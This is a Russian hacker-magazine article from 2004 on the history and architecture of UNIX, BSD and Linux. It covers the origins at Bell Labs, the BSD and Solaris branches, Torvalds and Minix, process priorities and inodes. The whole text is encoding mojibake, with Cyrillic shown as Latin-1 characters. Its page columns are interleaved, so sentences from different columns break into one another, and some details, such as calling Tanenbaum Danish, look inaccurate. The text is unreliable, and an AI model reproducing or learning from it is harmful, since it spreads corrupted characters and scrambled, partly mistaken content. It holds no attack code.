ïðîäîëæàòü ðàáîòó óæå íà ñàìîé        Äåíèñ íàçâàëè ñâîå òâîðåíèå, äàæå è      êîëè÷åñòâà íå òîëüêî ïðîôåññèîíà-
PDP-7 â ñîçäàâàåìîé îïåðàöèîíêå.      íå ïîäîçðåâàÿ òîãäà, ÷òî òàêîå æå        ëîâ, íî è ëþáèòåëåé. Òàêèì îáðàçîì,
Ïåðâîíà÷àëüíîå íàçâàíèå, êîòîðîå      ñîçâó÷èå â íàçâàíèå áóäóò ïðèîáðå-       áûëè ðàçðàáîòàíû âåëèêèé òåêñòî-
áûëî ïðèäóìàíî äëÿ íîâîèñïå÷åííî-     òàòü ïðàêòè÷åñêè âñå áóäóùèå êëîíû       âûé ðåäàêòîð vi (Áèëë Äæîé), âîç-
ãî ïðîäóêòà, – UNICS (Uniplexed       ýòîé ëåãåíäàðíîé îïåðàöèîíêè. Ïðîè-      ìîæíîñòü ðàáîòû ñ âèðòóàëüíîé ïà- »
                                      6      ÒÅÎÐÈß         ÈÑÒÎÐÈß UNIX


                                                                               ÎÑÍÎÂÍÛÅ ÎÑÎÁÅÍÍÎÑÒÈ UNIX-ÑÈÑÒÅÌ:
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                                                               - ýôôåêòèâíàÿ ðåàëèçàöèÿ ìíîãîçàäà÷íîñòè (âûòåñíÿþùàÿ ìíîãî-
                                                                               çàäà÷íîñòü);
                                                                               - ìíîãîïîëüçîâàòåëüñêèé ðåæèì;
                                                                               - íàëè÷èå âñòðîåííûõ ñðåäñòâ çàùèòû èíôîðìàöèè;
                                                                               - âèðòóàëüíàÿ ïàìÿòü è ñâîïèíã;
                                                                               - åäèíàÿ èåðàðõè÷åñêàÿ ôàéëîâàÿ ñèñòåìà, èìåþùàÿ äðåâîâèäíóþ
                                                                               ñòðóêòóðó íåçàâèñèìî îò êîëè÷åñòâà è òèïà ôèçè÷åñêèõ íîñèòåëåé
                                                                               èíôîðìàöèè, óñòàíîâëåííûõ â ñèñòåìå (êàæäûé íîñèòåëü ÿâëÿåòñÿ
                                                                               êàòàëîãîì); â Linux äàæå äðóãèå ôàéëîâûå ñèñòåìû, èìåþùèåñÿ íà
                                                                               ìàøèíå, ÿâëÿþòñÿ îòäåëüíûìè êàòàëîãàìè;
                                                                               - óíèôèêàöèÿ îïåðàöèé ââîäà/âûâîäà;
                                                                               - ïåðåíîñèìîñòü ñèñòåìû áëàãîäàðÿ èñïîëüçîâàíèþ ÿçûêà Ñ;
                      Êîìïüþòåð PDP-11 è îñíîâàòåëè UNIX - Òîìïñîí è Ðèò÷è     - êýøèðîâàíèå ôèçè÷åñêîãî äèñêà äëÿ óâåëè÷åíèÿ ñêîðîñòè äîñòó-
                                                                               ïà ê äàííûì;
                                   ìÿòüþ (Ïîðêåð è Áàáàîãëó) è ìíîæå-          - ðàçíîîáðàçíûå ñðåäñòâà âçàèìîäåéñòâèÿ ïðîöåññîâ;
                                   ñòâî äðóãèõ ïðèìî÷åê.                       - ìîùíûé è ãèáêèé ïîëüçîâàòåëüñêèé èíòåðôåéñ;
                                     Íåìíîãî ïîçäíåé AT&T ðåøèëà âíåñ-
                                                                               - ìîùíûé êîìàíäíûé ÿçûê;
                                   òè íåêîòîðûé ïîðÿäîê â ñòîëü áóðíûé
                                   âûõîä íîâûõ âåðñèé, è â 1982 ãîäó           - îòêðûòûé êîä êàê ñàìîé ñèñòåìû, òàê è áîëüøèíñòâà ïðîãðàìì äëÿ
                                   íåñêîëüêî ïîñëåäíèõ âåðñèé áûëè             íåå;
                                   îáúåäèíåíû â îäíó, ÷òî ïîëó÷èëî íàç-        - áåñïëàòíîå ðàñïðîñòðàíåíèå áîëüøèíñòâà UNIX-ñèñòåì;
                                   âàíèå UNIX System III.  1983 ãîäó          - áîëüøîå êîëè÷åñòâî áåñïëàòíîãî è êà÷åñòâåííîãî ñîôòà.
                                   âûøëà ïåðâàÿ êîììåð÷åñêàÿ âåðñèÿ
                                   UNIX, êîòîðàÿ íàçûâàëàñü System V. Â
                                   íåé ïîÿâèëèñü òàêèå ïîíÿòèÿ, êàê ìå-
                                   õàíèçì âçàèìîäåéñòâèÿ ïðîöåññîâ, çà-
                                   ìåùåíèå ñòðàíèö è ñåìàôîðû. Ê 1989
                                   ãîäó âûøëà íîâàÿ âåðñèÿ System V           Â 1996 ãîäó â ëàáîðàòîðèè Ëîñ Àëàìîñ
                                   Release 4, âíîâü îáúåäèíèâøàÿ äîñòî-
                                   èíñòâà ïîñëåäíèõ âåðñèé. Ñàìûìè çíà-
                                                                             áûë ïðîèçâåäåí ýêñïåðèìåíò ïî ðàñ÷åòàì
                                   ÷èòåëüíûìè ôèøêàìè ýòîé âåðñèè                ÿäåðíîãî âçðûâà, â õîäå êîòîðîãî
                                   ñòàëè ñîêåòû, ñåòåâàÿ ôàéëîâàÿ ñèñ-
                                   òåìà (NFS) è íîâûå èíòåðïðåòàòîðû
                                                                                ñîåäèíèëè 68 êîìïîâ ñ Linux â îäíó
                    Äàæå ìåë-
                    êîìÿãêèå
                                   ksh è csh. Â 1993 ãîäó ïðàâà íà UNIX        ñèñòåìó, ÷òîáû îíè ðàáîòàëè êàê îäèí
                    îñòàâèëè
                    ñâîé ñëåä â
                                   áûëè ïðîäàíû êîìïàíèè Novell, êîòî-
                                   ðàÿ ïîòîì ïåðåäàëà èõ êîíòîðàì
                                                                                   áîëüøîé ìíîãîïðîöåññîðíûé
                    ðàçâèòèè
                    UNIX!
                                   X/Open è Santa Cruz Operation (SCO).       ñóïåðêîìïüþòåð. Ñêîðîñòü âû÷èñëåíèé
                    XENIX –
                    ñîâìåñòíûé
                                     Íî ÷òî ýòî ìû âñå î UNIX äà î UNIX?
                                   Âåäü ýòà îñü, îáðåòÿ ïîïóëÿðíîñòü,
                                                                               ýòîé ñèñòåìû äîñòèãëà 19 ìèëëèàðäîâ
                    ïðîäóêò
                    SCO è          ïîëó÷èëà ìíîæåñòâî ïàðàëëåëüíûõ                      äåéñòâèé â ñåêóíäó.
                    Microsoft!     âåòîê ðàçâèòèÿ, êîòîðûå äî ñèõ ïîð
                                   ðàçâèâàþò êàê ìíîãî÷èñëåííûå êîì-
                                   ïàíèè, òàê è íàðîäíûå óìåëüöû.                                                    Power PC. Ýòà îñü ïîçàèìñòâîâàëà
                                                                                                                     ìíîãîå îò UNIX System V Release 4. À
                                   BSD, SOLARIS È ÄÐÓÃÈÅ                                                             Solaris ÿâëÿëñÿ, ïî ñóòè, òåì æå
                    Ìåíüøå ÷åì         Îäíîé èç çíà÷èòåëüíûõ âåòâåé                                                  SunOS, íî îáðîñøèì äîïîëíèòåëüíû-
                    ÷åðåç ïîë-     ðàçâèòèÿ UNIX ñòàëà çíàìåíèòàÿ                                                    ìè ïðèìî÷êàìè, è, ñàìîå ãëàâíîå, ãðà-
                    ãîäà ïîñëå
                    ñâîåãî ïîÿâ-   îñü BSD (Berkley Software                                                         ôè÷åñêèì èíòåðôåéñîì.
                    ëåíèÿ Linux    Distribution). Â 1976 ãîäó Òîìïñîí                                                  Êðîìå BSD è SunOS, ïîÿâèëèñü íà
                    ðàñïðîñòðà-
                    íèëñÿ óæå      ïîåõàë â Êàëèôîðíèéñêèé óíèâåð-                                                   ñâåò äðóãèå ïîäâèäû UNIX, âûïóñêàå-
                    äàëåêî çà      ñèòåò, ãäå øåñòîé ðåäàêöèåé UNIX                                                  ìûå ðàçëè÷íûìè ôèðìàìè. Ñðåäè íèõ
                    ïðåäåëàìè
                    Ôèíëÿíäèè.     î÷åíü çàèíòåðåñîâàëèñü àáîðèãåíû.                                                 ñòîèò óïîìÿíóòü òàêèå îñè, êàê AIX, âû-
                                   Ñðåäè íèõ îêàçàëñÿ Áèëë Äæîé. Îí-                                                 ïóùåííàÿ IBM äëÿ òà÷åê RS/6000, HP-
                                   òî è ðàçðàáîòàë ñâîþ âåðñèþ UNIX,                                                 UX, âûïóùåííàÿ Hewlett Packard äëÿ
                                   çàïèõíóâ â íåå êó÷ó ñîáñòâåííûõ                                                   ìóëüòèïðîöåññîðíûõ òà÷åê ñ ïîääåðæ-
                                   ïðèìî÷åê, â òîì ÷èñëå êîìïèëÿòîð                                                  êîé áîëüøèõ ôàéëîâûõ ñèñòåì, IRIX,
                                   Ïàñêàëÿ, è íàçâàâ åå BSD. Â äàëü-                                                 ðàçðàáîòàííàÿ Silicon Graphics äëÿ ãðà-
                                   íåéøåì ïðè âìåøàòåëüñòâå ìèíèñ-                                                   ôè÷åñêèõ ñòàíöèé è ñóïåðêîìïüþòå-
                                   òåðñòâà îáîðîíû ÑØÀ (DARPA) â                                                     ðîâ; Digital UNIX (îí æå Tru64 UNIX)
                                   1980 ãîäó áûë ðàçðàáîòàí ïðîòîêîë                                                 ôèðìû DEC, ïðåäíàçíà÷åííàÿ äëÿ
                                   TCP/IP, ÷òî äàëî âîçìîæíîñòü ðàáî-         Ëåãåíäàðíûé Ëèíóñ Òîðâàëüäñ – ñîçäà-   ìîùíûõ ñåðâåðîâ, ñ ïîääåðæêîé ïðàê-
                                   òû îïåðàöèîíêè â ëîêàëüíîé ñåòêå.          òåëü Linux                             òè÷åñêè âñåõ ñåòåâûõ èíòåðôåéñîâ è
                                   Òàêæå â BSD äîáàâèëñÿ ðåäàêòîð vi                                                 óëó÷øåííûìè äðàéâåðàìè äëÿ ðàáîòû
                                   è êîìàíäíûé èíòåðïðåòàòîð C-Shell.        IBM-ñîâìåñòèìûõ ìàøèí.                  ñ âèí÷åñòåðàìè, è ìíîãèå äðóãèå.
                                   Îñü ðàñïðîñòðàíÿëàñü ïðàêòè÷åñêè            Òàêæå Áèëë Äæîé îñíîâàë ôèðìó
                                   áåñïëàòíî, à áëèæå ê íàøåìó âðå-          Sun Microsystems è çàíÿëñÿ ðàçðà-       ÎÒ MINIX Ê LINUX, ÈËÈ ÊÀÊ
                                   ìåíè ìóòèðîâàëà â FreeBSD,                áîòêîé SunOS, ïîçäíåå ñòàâøåé èç-       ÐÀÇÂÎÄÈËÈ ÏÈÍÃÂÈÍÎÂ
                                   OpenBSD è NetBSD. Áûëà âûïóùåíà           âåñòíîé êàê Solaris, äëÿ ñòàíöèè           È âîò, íàêîíåö, äîáðàëèñü ìû è äî
                                   è êîììåð÷åñêàÿ âåðñèÿ BSD/OS äëÿ          SPARC, à òàêæå Intel, Pentium Pro è     âñåìè íàìè ëþáèìîé Linux. Èñòîðèÿ
                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
ýòîé îïåðàöèîíêè, íàäî ñêàçàòü, íå
ìåíåå íàâîðî÷åííàÿ è èíòåðåñíàÿ,
÷åì èñòîðèÿ UNIX. Çà ãîðàçäî ìåíü-
øåå âðåìÿ, ÷åì ïðîøëî äëÿ UNIX, ýòà
îñü óñïåëà îáðàñòè íå ìåíüøèì êîëè-
÷åñòâîì âñåâîçìîæíûõ êëîíîâ. Ñàìà
ÎÑ Linux ïîÿâèëàñü â íà÷àëå 90-õ
ïðîøëîãî âåêà, íî èñòîðèÿ åå áåðåò
íà÷àëî åùå â 1987 ãîäó.  òî âðåìÿ        Êîíñîëü (bash) Linux
íåêèé äàòñêèé ïðîôåññîð Ýíäðþ Òàí-
íåíáàóì íàïèñàë êíèãó «Îïåðàöèîí-        ðèàíòû Linux, ñîáðàííûå ýíòóçèàñ-
íûå ñèñòåìû», â êà÷åñòâå ó÷åáíîãî        òàìè è ïðîôåññèîíàëàìè ïî âñåìó
ïîñîáèÿ ê êîòîðîé ïðèëàãàëñÿ èñõîä-      ìèðó. Ïîÿâèëèñü âñåì èçâåñòíûå
íèê ìàëåíüêîé îïåðàöèîíêè ðàçìå-         Red Hat, Debian, Caldera, à òàêæå
ðîì âñåãî 12 000 ñòðîê êîäà – Minix.     ðàçëè÷íûé ñîôò è óòèëèòû. Åùå
Ýòî áûëî íå÷òî ïîõîæåå íà UNIX. Îñü      áîëüøå âíèìàíèÿ ê ýòîé îñè ïðèâ-
ïðåäíàçíà÷àëàñü äëÿ ðàáîòû íà            ëåêëî ïîÿâëåíèå â íåé ãðàôè÷åñêî-
êîìïüþòåðàõ ñ ïðîöåññîðîì 8086.          ãî èíòåðôåéñà X-Window è KDE.
Êíèæêà ïðèîáðåëà áîëüøóþ ïîïóëÿð-          Ïîçäíåå Linux áûë ïîðòèðîâàí íà
íîñòü è ïîïàëà â 1991 ãîäó â ðóêè íè-    êàðìàííûå óñòðîéñòâà Palm è
êîìó åùå íå èçâåñòíîìó ñòóäåíòó âòî-     PocketPC, à òàêæå íà Mac (MacOS X).
ðîãî êóðñà è õàêåðó-ëþáèòåëþ Ëèíóñó      Êðîìå ýòîãî, áûëè äîáàâëåíû óòèëè-
Òîðâàëüäñó èç Õåëüñèíêè. Èñïðîáî-        òû è ýìóëÿòîðû äëÿ çàïóñêà ïðèëî-
âàâ Minix, îí ðåøèë, ÷òî ñèñòåìà âïîë-   æåíèé îò äðóãèõ îïåðàöèîíîê. Íàï-
íå äàæå èíòåðåñíàÿ, íî òðåáóåò äîðà-     ðèìåð, â íàøå âðåìÿ â Linux ñ ïî-
áîòêè, è ïðèñòóïèë ê ðàçðàáîòêå          ìîùüþ òàêèõ óòèëèò ìîæíî çàïóñ-
ñîáñòâåííîé îïåðàöèîíêè. À â ýòî         êàòü òàêèå ïðîãðàììû, êàê 1C-Áóõãàë-
âðåìÿ íåêèé Ðè÷àðä Ñòîëëìåí çàíè-        òåðèÿ, è íåêîòîðûå êîìïüþòåðíûå
ìàëñÿ ñâîèì ïðîåêòîì GNU, ñîçäàâàÿ       èãðóøêè. Â ñîâðåìåííûå äèñòðèáóòè-
áåñïëàòíîå ïðîãðàììíîå îáåñïå÷å-         âû óæå âõîäèò îãðîìíûé íàáîð ñîô-
íèå. Îí äàæå ðàçðàáîòàë ñîáñòâåí-        òà è óòèëèò íà âñå ñëó÷àè æèçíè: îò
íûé âàðèàíò êîìïèëÿòîðà ÿçûêà Ñ. Íî      web-ñåðâåðîâ è ñðåäñòâ ðàçðàáîòêè
òîãäà íå áûëî ïîäõîäÿùåé ÎÑ äëÿ åãî      äî àíàëîãîâ êëèåíòà ICQ è ïðîèãðû-
ðàáîòû. Òî, ÷òî ñäåëàë íà òîò ìîìåíò     âàòåëÿ WinAmp, îñòàåòñÿ òîëüêî
Òîðâàëüäñ, ïðèâëåêëî âíèìàíèå Ñòîë-      âûáðàòü ïðè óñòàíîâêå, ÷òî òåáå
ëìåíà, è îíè ðåøèëè îáúåäèíèòü óñè-      íóæíî ïîñòàâèòü ïðÿìî ñåé÷àñ. Íî
ëèÿ. Ñ ýòîãî ìîìåíòà íà÷àëàñü ñëàâ-      ãëàâíîå - ýòî, êîíå÷íî, êàê è ó âñåõ
íàÿ ýïîïåÿ Linux.                        UNIX-ïîäîáíûõ, îòêðûòûé êîä è âîç-
  Â ñåíòÿáðå 1991 ïîÿâèëàñü Linux        ìîæíîñòü íàñòðîèòü ñèñòåìó ïîä
0.01. Â íåå áûëè ïîðòèðîâàíû gcc è       ñâîå æåëåçî è ñâîè òðåáîâàíèÿ èëè
bash (Born Again Shell). À ê îêòÿáðþ     èçìåíèòü åå äî íåóçíàâàåìîñòè – áû-
ïîÿâèëàñü è âåðñèÿ 0.02. Óæå òîãäà       ëè áû íåîáõîäèìîñòü, æåëàíèå è
âñå ýòî ðàñïðîñòðàíÿëîñü áåñïëàò-        óìåíèå ïðîãðàììèðîâàòü. Íå ìåíåå
íî, âìåñòå ñ èñõîäíèêàìè è äîêó-         âàæíà, òàê êàê Linux ðàçâèâàåòñÿ
ìåíòàöèåé, òàê æå, êàê è â íàøè          áûñòðî è ïîñòîÿííî âûõîäÿò íîâûå
äíè. Íî ïîêà ÷òî Linux âñå æå îñòà-      äèñòðèáóòèâû, âîçìîæíîñòü îáíîâ-
âàëñÿ ëþáèòåëüñêîé îñüþ. Ïî÷òè           ëåíèÿ è èçìåíåíèÿ ÿäðà ñèñòåìû, áå-
êàæäûé ìåñÿö ïîÿâëÿëèñü áîëåå            çî âñÿêèõ ïåðåóñòàíîâîê ñèñòåìû
äîðàáîòàííûå âåðñèè Linux, íî äî         èëè ïðîãðàìì (íå òî ÷òî Âèíäà!).
0.10 âåðñèè âñå îíè ïîääåðæèâàëè           Â íàøå âðåìÿ Linux ïðîäîëæàåò óñ-
òîëüêî AT-âèí÷åñòåðû, çàãðóæàëèñü        ïåøíî ðàçâèâàòüñÿ è ïðèâëåêàåò ê
ñðàçó â bash è íå èìåëè ôóíêöèè          ñåáå âíèìàíèå âñå íîâûõ è íîâûõ
ëîãèíà ïîëüçîâàòåëåé. Â 0.11 âåðñèè      ïîëüçîâàòåëåé. Èìåííî ýòà îñü, à òàê-
ïîÿâèëàñü ïîääåðæêà ìóëüòèÿçû÷-          æå FreeBSD, ñòàëè îñíîâíûì âûáîðîì
íûõ êëàâèàòóð, ôëîïïè-äèñêîâîäîâ,        àäìèíèñòðàòîðîâ web-ñåðâåðîâ è êîð-
VGA- è EGA-äèñïëååâ. Ñîâñåì ñêîðî        ïîðàòèâíûõ ñèñòåì. Ïîíÿòèå «UNIX»
íà÷àëè ïîÿâëÿòüñÿ ðàçëè÷íûå âà-          äàâíî óæå íå îçíà÷àåò êàêóþ-òî êîíê-
                                                          ðåòíóþ ñòàíäàðòíóþ
                                                          îñü, à îáúåäèíÿåò âñå
                                                          îïåðàöèîíêè ýòîãî ñå-
                                                          ìåéñòâà, îòâå÷àþùèå
                                                          îïðåäåëåííûì òðåáî-
                                                          âàíèÿì. Â ñåòêå âñåã-
                                                          äà ìîæíî íàéòè êó÷ó
                                                          ñîôòà è äðàéâåðîâ
                                                          ïîä âñåâîçìîæíûå
                                                          óñòðîéñòâà, à â ìíîãî-
                                                          ÷èñëåííûõ ôîðóìàõ è
                                                          êîíôåðåíöèÿõ - çà-
                                                          äàòü ëþáîé âîïðîñ,
                                                          íà êîòîðûé îáÿçà-
                                                          òåëüíî îòâåòÿò. Äîá-
                                                          ðî ïîæàëîâàòü â ìèð
 Ñòàíäàðòíàÿ îáîëî÷êà KDE â Linux                         Open Source! :) E
                                       8      ÒÅÎÐÈß         ÎÒÅÖ ÄÅÌÎÍÀ È ÏÈÍÃÂÈÍÀ

                         Vint (vint@vpost.ru)




                         ÎÒÅÖ ÄÅÌÎÍÀ
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         È ÏÈÍÃÂÈÍÀ
                         ÎÑÎÁÅÍÍÎÑÒÈ ÀÐÕÈÒÅÊÒÓÐÛ UNIX
                                    ìàññû!», «FreeBSD íà ðàáî÷èé ñòîë!» – ýòè ëîçóíãè
                         «Lèinux ââîçìîæíûåñâîè äîìàøíèå ìàøèíû. Íî îäíîé ñèñòåìû –âñå ÷àùå ìîæíî óâèäåòüìíîãèå íå ïîíèìàþò.ÎÑ áîëåå
                              Open Source íà
                         Linux âñå            êëîíû BSD ïðîèñõîäÿò îò
                                                                       ÷òî æå îáúåäèíÿåò Linux è BSD? Ýòîãî
                                                                                                            â èíòåðíåòå. Íàðîä çàõîòåë

                                                                                      UNIX. Äàâàé ðàññìîòðèì àðõèòåêòóðó ýòîé
                                                                                                                                Ïî ñóòè,

                         ïîäðîáíî.


                                                     ÊÎÃÄÀ ÌÛ ÁÛËÈ           íîñòü ïðîãðàììíîé ìîäåëè, íî ôóíäà-     ãî, êòî èõ çàïóñêàåò. Êðîìå ýòîãî, ïðî-


                                       »             ÌÎËÎÄÛÅ,
                                                     À ÊÎÌÏÜÞÒÅÐÛ -
                                                     ÁÎËÜØÈÅ
                                                        Íà äâîðå 1969 ãîä.
                                     Ê êîìïüþòåðàì èìåþò äîñòóï ëèøü
                                                                             ìåíòàëüíûõ èçìåíåíèé íå âíîñèëè.

                                                                             ÎÑÍÎÂÍÛÅ ÏËÞÑÛ ÑÈÑÒÅÌÛ

                                                                             Ìíîãîïîëüçîâàòåëüñêàÿ ÎÑ
                                                                                                                     öåññû-äåòè ïîëó÷àþò ïðàâà ðîäèòå-
                                                                                                                     ëåé, èçìåíåíèå ïðèîðèòåòà âîçìîæíî
                                                                                                                     òîëüêî ñèñòåìíûì âûçîâîì, èíèöè-
                                                                                                                     èðóåìûì ÿäðîì èëè ïîëüçîâàòåëåì
                                                                                                                     root. Îñíîâíûìè ñ÷èòàþòñÿ òðè êëàñ-
                                     èçáðàííûå ïðîôåññîðà êðóïíåé-               Óæå â 70-å ãîäû ÎÑ UNIX áûëà ìíî-   ñà: ïðèîðèòåò ðåàëüíîãî âðåìåíè, ñèñ-
                                     øèõ óíèâåðñèòåòîâ. Âðåìÿ ðàáîòû ó       ãîïîëüçîâàòåëüñêîé ñèñòåìîé, òî åñòü    òåìíûõ ïðîöåññîâ, êëàññ ïðîöåññîâ
                                     òåðìèíàëà ñòðîãî îãðàíè÷åíî, è çà       çà îäíèì êîìïüþòåðîì ìîãëî ðàáîòàòü     ðàçäåëåíèÿ âðåìåíè. Íî íå òîëüêî îò-
                                     êàæäîé ìèíóòîé çàãðóçêè ìàøèíû          íåñêîëüêî ïîëüçîâàòåëåé îäíîâðåìåí-     íîøåíèå ê îïðåäåëåííîìó òèïó ïðèî-
                                     âåäåòñÿ ñòðîãèé ó÷åò. Ñòîèìîñòü îä-     íî. Ïðè ýòîì ñèñòåìà çàáîòèòñÿ î òîì,   ðèòåòîâ ðåãóëèðóåò ïðîöåññîðíîå
                                     íîãî âû÷èñëèòåëüíîãî öåíòðà ïðèá-       ÷òîáû âñåì õâàòàëî ðåñóðñîâ, ÷òîáû      âðåìÿ äëÿ äàííîãî ïðèëîæåíèÿ, åùå
                                     ëèæàåòñÿ ê áþäæåòó íåáîëüøîé            ïîëüçîâàòåëè íå ìîãëè îêàçàòü íèêà-     ñóùåñòâóåò ïîíÿòèå êâàíòà âðåìåíè.
                    NO WAR-          ñòðàíû. Èìåííî íà òàêîé ìàøèíå,         êîãî âëèÿíèÿ äðóã íà äðóãà.             Ãðóáî ãîâîðÿ, ýòà ïåðåìåííàÿ ðåãëà-
                    RANTLY           íàçûâàâøåéñÿ PDP-7, ïðîãðàììèñ-                                                 ìåíòèðóåò, ÷åðåç ñêîëüêî òèêîâ ñèñ-
                    ABSOLUT-
                    ED – äåâèç       òû Äåíèñ Ðèò÷è (Dennis Ritchie),        Ìíîãîçàäà÷íîñòü                         òåìíûõ ÷àñîâ ñëåäóåò ïåðåäàòü óï-
                    ìîäåëè           Ðàää Êåíåäåé (Rudd Canaday), Äóã           Â UNIX èñïîëüçóåòñÿ âûòåñíÿþ-        ðàâëåíèå ñëåäóþùåìó ïðîöåññó.
                    Open Source
                    íàøèõ äíåé.      Ìàêèëðîé (Doug McIlroy) è Êåí           ùàÿ ìíîãîçàäà÷íîñòü, êîòîðàÿ áàçè-
                                     Òîìïñîí (Ken Thompson) â òå÷åíèå        ðóåòñÿ íà ïîíÿòèè ïðèîðèòåòîâ è         Ïåðåíîñèìîñòü êîäà
                                     ìåñÿöà íàïèñàëè ÎÑ, îáîëî÷êó, àñ-       êâàíòîâàíèÿ ïðîöåññîðíîãî âðåìåíè.         Îäíèì èç ñàìûõ ñóùåñòâåííûõ
                                     ñåìáëåð è ðåäàêòîð.                     Âñå ïðîöåññû ðàçáèâàþòñÿ ïî íåñ-        äîñòîèíñòâ âñåõ êëîíîâ UNIX ÿâëÿåòñÿ
                                       Ñëåäóþùåé âåõîé ðàçâèòèÿ UNIX         êîëüêèì ãðóïïàì â çàâèñèìîñòè îò òî-    âîçìîæíîñòü ïåðåíîñà ÎÑ ïðàêòè÷åñ-
                    Ïðè àíàëèçå      ñ÷èòàåòñÿ åãî ïåðâîå ïîðòèðîâàíèå
                    ïåðâîãî âà-      íà ìàøèíó ñ äðóãîé àðõèòåêòóðîé. Íà
                    ðèàíòà
                    UNIX, íàïè-      áîëåå ïðîèçâîäèòåëüíîì PDP-11/20
                    ñàííîãî íà       UNIX áûë ïîëíîñòüþ ïåðåïèñàí ñ àñ-
                    ÿçûêå C,
                    Ðèò÷è óêà-       ñåìáëåðà íà ÿçûê Áè ("B"). Ñ 1970 äî
                    çàë íà çà-       1972 UNIX ðàçâèâàëñÿ êîìïàíèåé
                    ìåòíî âîç-
                    ðîñøèé           AT&T Bell Lab.  1973 ãîäó Ðèò÷è è
                    îáúåì (20-       Òîìïñîí ïåðåâåëè îïåðàöèîííóþ ñèñ-
                    40%) è íà        òåìó íà ÿçûê Ñ. Ê ýòîìó ìîìåíòó UNIX
                    óõóäøåíèå
                    ïðîèçâîäè-       áûë óñòàíîâëåí íà 25 ìàøèíàõ – íåì-
                    òåëüíîñòè        íîãî, íî åñëè òû âñïîìíèøü, ñêîëüêî
                    ÎÑ â öåëîì
                    ïî ñðàâíå-       âñåãî êîìïüþòåðîâ áûëî òîãäà â ìè-
                    íèþ ñ àññå-      ðå, òî ïîéìåøü, ÷òî îçíà÷àëè ýòè èíñ-
                                                                                                                                                         ðèñ. Êîíñòàíòèí Êîìàðäèí




                    ìáëåðíûì
                    âàðèàíòîì        òàëëû íîâîé ñèñòåìû. ÎÑ îáðåòàëà
                    êîäà.            íîâîå çâó÷àíèå â êîìïüþòåðíîì ìè-
                                     ðå, î íåé íà÷àëè ãîâîðèòü êàê î ñåðü-
                                     åçíîì ïðîåêòå. Ïÿòàÿ ðåäàêöèÿ ïðîåê-
                                     òà âíåñëà îãðîìíûé âêëàä â ðàçâèòèå
                                     ñèñòåìû â öåëîì – èñõîäíûå êîäû
                                     UNIX ñòàëè äîñòóïíû ñòóäåíòàì óíè-
                                     âåðñèòåòîâ. Íà÷àëàñü ýðà ìàññîâîãî
                                     óâëå÷åíèÿ *nix è åãî êëîíàìè.  óíè-
                                     âåðñèòåòå ã. Áåðêëè ñîáèðàåòñÿ ãðóï-
                                     ïà ðàçðàáîò÷èêîâ è íà÷èíàåòñÿ âû-
                                     ïóñê êëîíîâ UNIX – BSD-ñèñòåì. Ïîñëå
                                     ýòîãî ïðîèñõîäèò íåïðåðûâíîå ñîâåð-
                                     øåíñòâîâàíèå èñõîäíûõ êîäîâ ñèñòå-
                                     ìû, íî êîíöåïöèÿ îïåðàöèîííîé ñèñ-
                                     òåìû ñëîæèëàñü èìåííî â 70-å ãîäû
                                     äâàäöàòîãî ñòîëåòèÿ. Ïîñëåäóþùèå
                                     âåðñèè è êëîíû óñòðàíÿëè ñëàáûå
                                     ìåñòà è óâåëè÷èâàëè ôóíêöèîíàëü-

                                      ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                   9




                                                                                                                                         ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
                                                                                   Âûáîð çàãðóç÷èêà

                                                                                  ôàéëû èìåþò íóëåâóþ èëè î÷åíü ìà-
                                                                                  ëåíüêóþ äëèíó è ïîñëå ïåðåçàãðóçêè
                                                                                  óäàëÿþòñÿ. Ñïåöèàëüíûå ôàéëû ñîç-
                                                                                  äàåò ÿäðî ñèñòåìû èëè ïðèêëàäíûå
                                                                                  ïðîãðàììû ïî ìåðå íåîáõîäèìîñòè.
 Kernel Panic                                                                     Îáû÷íûé ïîëüçîâàòåëü ñîçäàâàòü òà-
                                                                                  êèå çàïèñè íå ìîæåò. Ãëàâíàÿ îñîáåí-
êè ïîä ëþáûå ïëàòôîðìû. Åñëè ðàíü-       ñòîðîíû ìàøèíû. Äëÿ ðàáîòû ðîóòåðà       íîñòü ýòîãî òèïà – ôàéëû ñîçäàþòñÿ è
øå ÿäðî è íåêîòîðûå äðàéâåðà áûëè        íà *BSD äîñòàòî÷íî 386-ãî ïðîöåññî-      óäàëÿþòñÿ ñèñòåìîé àâòîìàòè÷åñêè,
íàïèñàíû íà àññåìáëåðå, äàþùåì çà-       ðà è 4 ìåãàáàéò ïàìÿòè. Îáåñïå÷èòü       þçåð ÷àùå âñåãî íå ìîæåò ïðî÷èòàòü
ìåòíûé ïðèðîñò ïðîèçâîäèòåëüíîñòè,       äàííûå ôóíêöèè íà äðóãèõ ðàñïðîñò-       èõ ñîäåðæèìîå – îíè íå ñîäåðæàò äàí-
íî, âìåñòå ñ òåì, ïðàêòè÷åñêè ïîëíóþ     ðàíåííûõ ñèñòåìàõ ïðè òàêîé êîíôè-       íûõ, äîñòóïíûõ äëÿ îáðàáîòêè.
íåñîâìåñòèìîñòü ñ àðõèòåêòóðàìè, îò-     ãóðàöèè PC ïðîñòî íåâîçìîæíî. Ïðè-        Âñÿ íåîáõîäèìàÿ äëÿ ðàáîòû ñ ôàé-
ëè÷íûìè îò äàííîé, òî ñåé÷àñ âñÿ ñèñ-    ÷åì äàæå íà òàêîé ñëàáîé ìàøèíå, ïî      ëîì èíôîðìàöèÿ õðàíèòñÿ â îñîáîé
òåìà íàïèñàíà íà ÿçûêå âûñîêîãî          íûíåøíèì ìåðêàì, UNIX ïîêàçûâàåò         ñèñòåìíîé òàáëèöå, êîòîðàÿ ÿâëÿåòñÿ
óðîâíÿ C. Ýòî îçíà÷àåò, ÷òî äëÿ çàïóñ-   âñå ñâîè ëó÷øèå ñòîðîíû. Îáúÿñíèòü       èíäåêñíûì äåñêðèïòîðîì (inode) äàí-
êà UNIX íà ëþáîé íîâîé àðõèòåêòóðå       òàêîå ïîâåäåíèå ìîæíî, ðàññìîòðåâ        íîãî îáúåêòà. Èíäåêñíûå äåñêðèïòîðû
äîñòàòî÷íî ïîðòèðîâàòü êîìïèëÿòîð        àðõèòåêòóðó ÎÑ áîëåå ïîäðîáíî.           âñåõ ôàéëîâ ðàâíû ïî ðàçìåðó - 64
ÿçûêà Ñ è ïåðåñîáðàòü ñèñòåìó èç èñ-                                              áàéòà. Â íèõ õðàíÿòñÿ äàííûå î òèïå
